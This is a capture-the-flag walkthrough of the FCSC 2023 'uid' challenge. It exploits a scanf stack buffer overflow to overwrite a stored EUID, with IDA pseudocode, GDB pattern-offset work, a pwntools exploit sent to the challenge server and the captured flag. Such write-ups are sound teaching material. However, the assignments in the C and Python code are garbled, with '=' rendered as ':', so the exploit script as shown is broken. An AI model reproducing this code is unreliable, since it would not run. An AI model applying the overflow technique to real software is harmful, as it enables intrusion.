FCSC 2023 - UID
Table of Contents
In this article, we will explore the step-by-step walkthrough of the ‘uid’ challenge presented at FCSC 2023.
Challenge Overview
We have the following binary file available: here
We will open IDA to see what we need to do to exploit the binary and what it does.
Binary Analysis
Decompilation with IDA
By generating the pseudocode of the main() function in IDA, we get this result:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[44]; // [rsp+0h] [rbp-30h] BYREF
__uid_t v5; // [rsp+2Ch] [rbp-4h]
v5: geteuid();
printf("username: ");
fflush(_bss_start);
__isoc99_scanf("%s", v4);
if ( v5 )
system("cat flop.txt");
else
system("cat flag.txt");
return 0;
}
Code Analysis
-
Variable declarations:
v4is a character array of 44 bytes, which will be used to store the username entered by the user.v5is an integer of type__uid_t, which will be used to store the effective user identifier (EUID).
-
Call to the
geteuid()function to retrieve the EUID and store it inv5. -
Display of the message
"username: "using theprintf()function. -
The
fflush(_bss_start)function is called to flush the standard output buffer. -
The
__isoc99_scanf()function is called to read the username entered by the user and store it in thev4array.- If
v5is different from zero, thesystem("cat flop.txt")function is called to display the contents of the"flop.txt"file. - If
v5is equal to zero, thesystem("cat flag.txt")function is called to display the contents of the"flag.txt"file.
- If
Finally, the function returns 0 to indicate that the program terminated successfully.
Exploitation Strategy
Since the scanf() function is used, we can try to use a buffer overflow vulnerability to overwrite the value of v5 to 0 so we can display the flag.
Memory Analysis with GDB PEDA
I decide to see in detail with gdb PEDA how it works at the memory level.
Assembly Code of the main Function
Here is the assembly code of the main function:
gdb-peda$ disas main
Dump of assembler code for function main:
0x0000000000001175 <+0>: push rbp
0x0000000000001176 <+1>: mov rbp,rsp
0x0000000000001179 <+4>: sub rsp,0x30
0x000000000000117d <+8>: call 0x1050 <geteuid@plt>
0x0000000000001182 <+13>: mov DWORD PTR [rbp-0x4],eax
0x0000000000001185 <+16>: lea rdi,[rip+0xe78] # 0x2004
0x000000000000118c <+23>: mov eax,0x0
0x0000000000001191 <+28>: call 0x1040 <printf@plt>
0x0000000000001196 <+33>: mov rax,QWORD PTR [rip+0x2eb3] # 0x4050 <stdout@GLIBC_2.2.5>
0x000000000000119d <+40>: mov rdi,rax
0x00000000000011a0 <+43>: call 0x1060 <fflush@plt>
0x00000000000011a5 <+48>: lea rax,[rbp-0x30]
0x00000000000011a9 <+52>: mov rsi,rax
0x00000000000011ac <+55>: lea rdi,[rip+0xe5c] # 0x200f
0x00000000000011b3 <+62>: mov eax,0x0
0x00000000000011b8 <+67>: call 0x1070 <__isoc99_scanf@plt>
0x00000000000011bd <+72>: cmp DWORD PTR [rbp-0x4],0x0
0x00000000000011c1 <+76>: jne 0x11d1 <main+92>
0x00000000000011c3 <+78>: lea rdi,[rip+0xe48] # 0x2012
0x00000000000011ca <+85>: call 0x1030 <system@plt>
0x00000000000011cf <+90>: jmp 0x11dd <main+104>
0x00000000000011d1 <+92>: lea rdi,[rip+0xe47] # 0x201f
0x00000000000011d8 <+99>: call 0x1030 <system@plt>
0x00000000000011dd <+104>: mov eax,0x0
0x00000000000011e2 <+109>: leave
0x00000000000011e3 <+110>: ret
End of assembler dump.
gdb-peda$ b* main+72
Breakpoint 1 at 0x11bd
Pattern Creation and Testing
We will place a breakpoint at 0x00000000000011bd <+72>: cmp DWORD PTR [rbp-0x4],0x0 so at main+72 to see the state of rbp-0x4 when inserting our pattern.
For the pattern length, I start with 80 since that should be enough.
gdb-peda$ pattern create 80
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A'
gdb-peda$ r
Starting program: /home/balgogan/Téléchargements/uid
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
username: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
RAX: 0x1
RBX: 0x7fffffffe388 --> 0x7fffffffe6dc ("/home/balgogan/Téléchargements/uid")
RCX: 0x0
RDX: 0x0
RSI: 0xa ('\n')
RDI: 0x7fffffffdd00 --> 0x0
RBP: 0x7fffffffe270 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
RSP: 0x7fffffffe240 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
RIP: 0x5555555551bd (<main+72>: cmp DWORD PTR [rbp-0x4],0x0)
R8 : 0x555555556010 --> 0x6c66207461630073 ('s')
R9 : 0x7ffff7f8ba80 --> 0xfbad2288
R10: 0xffffffffffffffff
R11: 0x7ffff7f8c560 --> 0x7ffff7f88800 --> 0x7ffff7f5047c --> 0x5a5400544d470043 ('C')
R12: 0x0
R13: 0x7fffffffe398 --> 0x7fffffffe701 ("SHELL=/bin/bash")
R14: 0x0
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x555555554000 --> 0x10102464c457f
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5555555551ac <main+55>: lea rdi,[rip+0xe5c] # 0x55555555600f
0x5555555551b3 <main+62>: mov eax,0x0
0x5555555551b8 <main+67>: call 0x555555555070 <__isoc99_scanf@plt>
=> 0x5555555551bd <main+72>: cmp DWORD PTR [rbp-0x4],0x0
0x5555555551c1 <main+76>: jne 0x5555555551d1 <main+92>
0x5555555551c3 <main+78>: lea rdi,[rip+0xe48] # 0x555555556012
0x5555555551ca <main+85>: call 0x555555555030 <system@plt>
0x5555555551cf <main+90>: jmp 0x5555555551dd <main+104>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe240 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0008| 0x7fffffffe248 ("ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0016| 0x7fffffffe250 ("AACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0024| 0x7fffffffe258 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0032| 0x7fffffffe260 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0040| 0x7fffffffe268 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0048| 0x7fffffffe270 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0056| 0x7fffffffe278 ("AcAA2AAHAAdAA3AAIAAeAA4A")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x00005555555551bd in main ()
gdb-peda$ x/8x $rbp-0x4
0x7fffffffe26c: 0x41 0x46 0x41 0x41 0x62 0x41 0x41 0x31
gdb-peda$
Finding the Offset
By looking at the content of $rbp-0x4, we have hexadecimal values "0x41 0x46 0x41 0x41 0x62 0x41 0x41 0x31".
This corresponds in ASCII to AFAAbAA1
$ unhex 4146414162414131
AFAAbAA1
This character string is part of our pattern and the goal is to find where this string is located in our pattern to be able to construct our final payload:
gdb-peda$ pattern offset AFAAbAA1
AFAAbAA1 found at offset: 44
As seen in the IDA pseudocode, we find a buffer of 44 bytes, which means we need to write our "0" after 44 bytes.
Exploitation
Final Payload
Based on all this information, we can construct the following final payload:
from pwn import *
buffer: 44
#p = process('./uid')
p: remote("challenges.france-cybersecurity-challenge.fr",2100)
payload: ("A" * buffer).encode() + p32(0) + b"\n"
p.sendafter(b"username: ", payload)
print(p.recvall().decode('latin-1'))
Result
By executing the code, we get the flag:
$ python3.8 exp.py
[+] Opening connection to challenges.france-cybersecurity-challenge.fr on port 2100: Done
[+] Receiving all data: Done (71B)
[*] Closed connection to challenges.france-cybersecurity-challenge.fr port 2100
FCSC{3ce9bedca72ad9c23b1714b5882ff5036958d525d668cadeb28742c0e2c56469}
Flag
The flag is : FCSC{3ce9bedca72ad9c23b1714b5882ff5036958d525d668cadeb28742c0e2c56469}